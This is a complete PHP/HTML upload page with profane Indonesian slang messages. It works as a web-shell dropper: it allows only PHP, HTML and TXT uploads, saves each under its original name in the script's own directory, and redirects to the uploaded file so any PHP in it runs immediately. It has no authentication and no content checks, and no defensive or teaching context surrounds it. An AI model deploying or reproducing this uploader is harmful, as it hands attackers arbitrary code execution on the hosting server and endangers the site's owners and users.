<!DOCTYPE html>
<html>
<head>
    <title>Upload File Form</title>
</head>
<body>
    <h2>Form Upload File</h2>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" value="Upload File" name="submit">
    </form>

    <?php
    if (isset($_POST["submit"])) {
        $targetFile = basename($_FILES["fileToUpload"]["name"]);
        $uploadOk = 1;
        $fileType = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));

        if (file_exists($targetFile)) {
            echo "File Udah Ada Anjeng 🤬🤭";
            $uploadOk = 0;
        }

        if ($_FILES["fileToUpload"]["size"] > 100000000) {
            echo "File Lu Gede Buwanget Cik 🤭😹";
            $uploadOk = 0;
        }

        if ($fileType != "php" && $fileType != "html" && $fileType != "txt") {
            echo "Cuma File PHP, HTML, & TXT Jier.<br>";
            $uploadOk = 0;
        }

        if ($uploadOk == 0) {
            echo "File tidak berhasil diunggah.<br>";
        } else {
            if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
                echo "File ". htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " berhasil diunggah.<br>";
                $scheme = $_SERVER['REQUEST_SCHEME'];
                $host = $_SERVER['HTTP_HOST'];
                $path = dirname($_SERVER['REQUEST_URI']);
                header("Location: $scheme://$host$path/$targetFile");
                exit();
            } else {
                echo "Terjadi kesalahan saat mengunggah file.<br>";
            }
        }
    }
    ?>
</body>
</html>